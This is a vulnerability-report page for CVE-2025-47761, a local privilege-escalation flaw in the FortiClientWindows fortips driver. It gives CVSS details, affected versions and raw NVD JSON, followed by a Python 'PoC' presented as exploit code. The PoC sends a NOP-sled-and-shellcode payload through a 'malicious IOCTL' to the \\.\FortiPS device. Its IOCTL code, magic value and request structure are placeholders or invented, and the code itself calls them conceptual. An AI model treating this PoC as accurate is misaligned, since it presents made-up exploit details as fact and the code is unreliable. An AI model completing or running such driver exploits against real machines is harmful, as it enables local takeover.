Security Vulnerability Report
中文
CVE-2025-47761 CVSS 7.8 HIGH

CVE-2025-47761

Published: 2025-11-18 17:16:02
Last Modified: 2025-12-16 11:15:52

Description

An Exposed IOCTL with Insufficient Access Control vulnerability [CWE-782] vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.3, FortiClientWindows 7.2.0 through 7.2.9 may allow an authenticated local user to execute unauthorized code via fortips driver. Success of the attack would require bypassing the Windows memory protections such as Heap integrity and HSP. In addition, it requires a valid and running VPN IPSec connection.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:* - VULNERABLE
FortiClientWindows 7.2.0 - 7.2.9
FortiClientWindows 7.4.0 - 7.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-47761 PoC - FortiClientWindows fortips driver IOCTL exploitation Note: This is a conceptual PoC for educational and security research purposes only. Author: Security Research Reference: Fortinet PSIRT FG-IR-25-112 ''' import ctypes from ctypes import wintypes import struct import time # Windows API Definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 IOCTL_FORTIPS_BASE = 0x9000 # Example IOCTL code base # Define the vulnerable IOCTL codes CTL_CODE_GENERIC = 0x0000009B # Example - actual code requires reverse engineering class FORTIPS_IOCTL_REQUEST(ctypes.Structure): _fields_ = [ ("input_buffer", ctypes.c_void_p), ("input_size", wintypes.DWORD), ("output_buffer", ctypes.c_void_p), ("output_size", wintypes.DWORD), ("magic", wintypes.DWORD), ] def open_fortips_device(): """Open handle to fortips driver device""" device_name = r"\\.\FortiPS" handle = ctypes.windll.kernel32.CreateFileA( device_name.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) if handle == -1: raise Exception(f"Failed to open device. Error: {ctypes.windll.kernel32.GetLastError()}") return handle def send_malicious_ioctl(handle, ioctl_code, exploit_payload): """ Send malicious IOCTL request to fortips driver This attempts to exploit insufficient access control """ input_buffer = ctypes.create_string_buffer(exploit_payload) output_buffer = ctypes.create_string_buffer(1024) bytes_returned = wintypes.DWORD() result = ctypes.windll.kernel32.DeviceIoControl( handle, ioctl_code, input_buffer, len(exploit_payload), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) return result, output_buffer.raw[:bytes_returned.value] def create_exploit_payload(): """ Create heap spray and exploit payload Note: Actual exploitation requires specific heap manipulation """ # Magic value expected by driver magic = struct.pack("<I", 0xDEADBEEF) # NOP sled + shellcode placeholder nop_sled = b"\x90" * 256 # Placeholder for actual shellcode # In real exploit, this would be stage 1 shellcode shellcode = b"\xCC" * 256 # INT3 for debugging # Trigger value trigger = struct.pack("<I", 0x1337C0DE) return magic + nop_sled + shellcode + trigger def check_prerequisites(): """Check if prerequisites for exploitation are met""" print("[*] Checking prerequisites for CVE-2025-47761 exploitation...") # Check for running VPN IPSec connection print("[!] Note: Requires valid and running VPN IPSec connection") print("[!] Note: Requires local authenticated user access") print("[*] Prerequisites check - conceptual only") return True def main(): print("="*60) print("CVE-2025-47761 - FortiClientWindows Local Privilege Escalation") print("="*60) print() # Check prerequisites if not check_prerequisites(): print("[-] Prerequisites not met. Exiting.") return try: print("[*] Opening fortips driver handle...") handle = open_fortips_device() print(f"[+] Device handle opened: {handle}") print("[*] Creating exploit payload...") payload = create_exploit_payload() print(f"[+] Payload size: {len(payload)} bytes") print("[*] Sending malicious IOCTL request...") result, output = send_malicious_ioctl(handle, CTL_CODE_GENERIC, payload) if result: print("[+] IOCTL request processed") print(f"[*] Output: {output.hex()}") else: error = ctypes.windll.kernel32.GetLastError() print(f"[-] IOCTL request failed. Error code: {error}") # Close handle ctypes.windll.kernel32.CloseHandle(handle) print("[*] Device handle closed") except Exception as e: print(f"[-] Error: {e}") print() print("[!] This is a proof-of-concept for security research only.") print("[!] Actual exploitation requires detailed reverse engineering.") print("[!] Mitigation: Upgrade to FortiClientWindows 7.4.4 or later.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47761", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:02.413", "lastModified": "2025-12-16T11:15:52.170", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Exposed IOCTL with Insufficient Access Control vulnerability [CWE-782] vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.3, FortiClientWindows 7.2.0 through 7.2.9 may allow an authenticated local user to execute unauthorized code via fortips driver. Success of the attack would require bypassing the Windows memory protections such as Heap integrity and HSP. In addition, it requires a valid and running VPN IPSec connection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-782"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.10", "matchCriteriaId": "F9DAAE56-ACF6-464C-AF20-68D9FE2C31B3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "51121FCA-2CA9-4B4B-A27C-C4729AB797BB"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-112", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}